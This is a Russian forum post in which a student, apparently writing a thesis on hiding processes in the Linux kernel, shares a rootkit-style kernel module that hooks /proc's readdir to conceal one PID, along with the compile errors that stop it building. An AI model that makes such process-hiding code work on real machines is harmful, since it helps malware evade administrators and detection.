Ситуация такая, учёба заканчивается, соответственно диплом пишется.
Тема диплома: "Разработка механизмов сокрытия процессов в структурах ядра ОС Linux."
Прошу Вас, помогите! Я с программированием у меня в общем туговато, а тут модули ядра. Нет, простой модуль написать могу, благо тем более, что есть источники...
В общем: как Всем известно данную функцию очень хорошо выполняют руткиты. Самое простое - это скрыть папку в /proc. Данная "простота" написана в книге "Склярова - Программирование боевого софта под Linux." Но при компиляции у меня вылазят ошибки... ткните меня носом, пожалуйста! В четверг бы предоставить более менее работающий модуль... =(
Код: Выделить всё
Код:
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <net/sock.h>
MODULE_LICENSE ("GPL");
#define DIRECTORY_ROOT "/proc"
#define DIRECTORY_HIDE "3734"
typedef int (*readdir_t)(struct file *, void *, filldir_t);
readdir_t orig_proc_readdir = NULL;
filldir_t proc_filldir = NULL;
int new_filldir(void *buf, const char *name, int nlen, loff_t off,
ino_t ino, unsigned x)
{
if (!strncmp(name, DIRECTORY_HIDE, strlen(DIRECTORY_HIDE)))
return 0;
return proc_filldir(buf, name, nlen, off, ino, x);
}
int our_proc_readdir(struct file *fp, void *buf, filldir_t filldir)
{
int r = 0;
proc_filldir = filldir;
r = orig_proc_readdir(fp, buf, new_filldir);
return r;
}
int patch_vfs(readdir_t *orig_readdir, readdir_t new_readdir)
{
struct file *filep;
if ( (filep = filp_open(DIRECTORY_ROOT, O_RDONLY, 0)) == NULL) {
return -1;
}
if (orig_readdir)
*orig_readdir = filep->f_op->readdir;
filep->f_op->readdir = new_readdir;
filp_close(filep, 0);
return 0;
}
int unpatch_vfs(readdir_t orig_readdir)
{
struct file *filep;
if ( (filep = filp_open(DIRECTORY_ROOT, O_RDONLY, 0)) == NULL) {
return -1;
}
filep->f_op->readdir = orig_readdir;
filp_close(filep, 0);
return 0;
}
int init_module(void)
{
patch_vfs(&orig_proc_readdir, our_proc_readdir);
return 0;
}
void cleanup_module(void)
{
unpatch_vfs(orig_proc_readdir);
}
Ошибки:
kainser@Diplom ~/Диплом $ make
make -C /lib/modules/2.6.31-14-generic/build M=/home/kainser/Диплом modules
make[1]: Вход в каталог `/usr/src/linux-headers-2.6.31-14-generic'
CC [M] /home/kainser/Диплом/hide_pid.o
/home/kainser/Диплом/hide_pid.c: In function ‘our_proc_readdir’:
/home/kainser/Диплом/hide_pid.c:32: warning: passing argument 3 of ‘orig_proc_readdir’ from incompatible pointer type
/home/kainser/Диплом/hide_pid.c:32: note: expected ‘filldir_t’ but argument is of type ‘int (*)(void *, const char *, int, loff_t, ino_t, unsigned int)’
/home/kainser/Диплом/hide_pid.c: In function ‘patch_vfs’:
/home/kainser/Диплом/hide_pid.c:48: error: assignment of read-only location ‘*filep->f_op’
/home/kainser/Диплом/hide_pid.c: In function ‘unpatch_vfs’:
/home/kainser/Диплом/hide_pid.c:63: error: assignment of read-only location ‘*filep->f_op’
make[2]: *** [/home/kainser/Диплом/hide_pid.o] Ошибка 1
make[1]: *** [_module_/home/kainser/Диплом] Ошибка 2
make[1]: Выход из каталога `/usr/src/linux-headers-2.6.31-14-generic'
make: *** [default] Ошибка 2